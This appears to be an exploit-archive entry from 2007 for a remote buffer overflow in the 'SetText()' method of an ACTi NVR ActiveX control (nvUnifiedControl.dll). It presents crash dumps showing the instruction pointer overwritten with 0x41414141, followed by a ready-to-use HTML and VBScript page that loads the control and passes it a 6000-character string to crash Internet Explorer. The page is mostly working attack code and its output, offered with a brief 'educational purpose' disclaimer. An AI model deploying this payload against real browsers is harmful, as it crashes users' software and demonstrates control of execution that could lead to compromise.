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nvr-settext-dos.txt

nvr-settext-dos.txt
Posted Aug 28, 2007
Authored by shinnai | Site shinnai.altervista.org

NVR SP2 version 2.0 SetText() remote buffer overflow denial of service exploit that makes use of nvUnifiedControl.dll version 1.1.45.0.

tags | exploit, remote, denial of service, overflow
SHA-256 | 4c01514f37877e710120c38015e7bb620bcaa65f923cd79b5f88c40f82670edb

nvr-settext-dos.txt

Change Mirror Download
-----------------------------------------------------------------------------------
NVR SP2 2.0 nvUnifiedControl.AUnifiedControl.1 (nvUnifiedControl.dll v. 1.1.45.0)
"SetText()" Remote BoF
url: http://www.acti.com/index.asp

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

This control is marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller
KillBitSet: Falso

Here it is a dump from faultmon:
11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [4141447D])
----------------------------------------------------------------
EAX=05494A60: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
EBX=00001770: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESP=0188EC38: 2C ED 88 01 00 00 00 00-18 6F B3 04 58 E0 34 05
EBP=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESI=05499B70: 73 6F 6D 65 74 68 69 6E-67 00 00 00 00 00 00 00
EDI=05492390: 68 D0 89 05 70 17 00 00-71 17 00 00 72 17 00 00
EIP=0527BC3D: 8B 82 3C 03 00 00 8B 94-24 DC 00 00 00 51 0F BF
--> MOV EAX,[EDX+0000033C]
----------------------------------------------------------------

11:32:16.064 pid=19E4 tid=191C EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=0188E868: BF 37 91 7C 50 E9 88 01-DC EC 88 01 6C E9 88 01
EBP=0188E888: 38 E9 88 01 8B 37 91 7C-50 E9 88 01 DC EC 88 01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------
-----------------------------------------------------------------------------------

<object classid='clsid:A6F36F3F-3AE0-458B-AFC4-AA82565E0BF8' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
buff = String(6000, "A")
test.SetText 1, buff, 1, 1, 1, 1, 1, "something", 1, 1, 1, 1
End Sub
</script>
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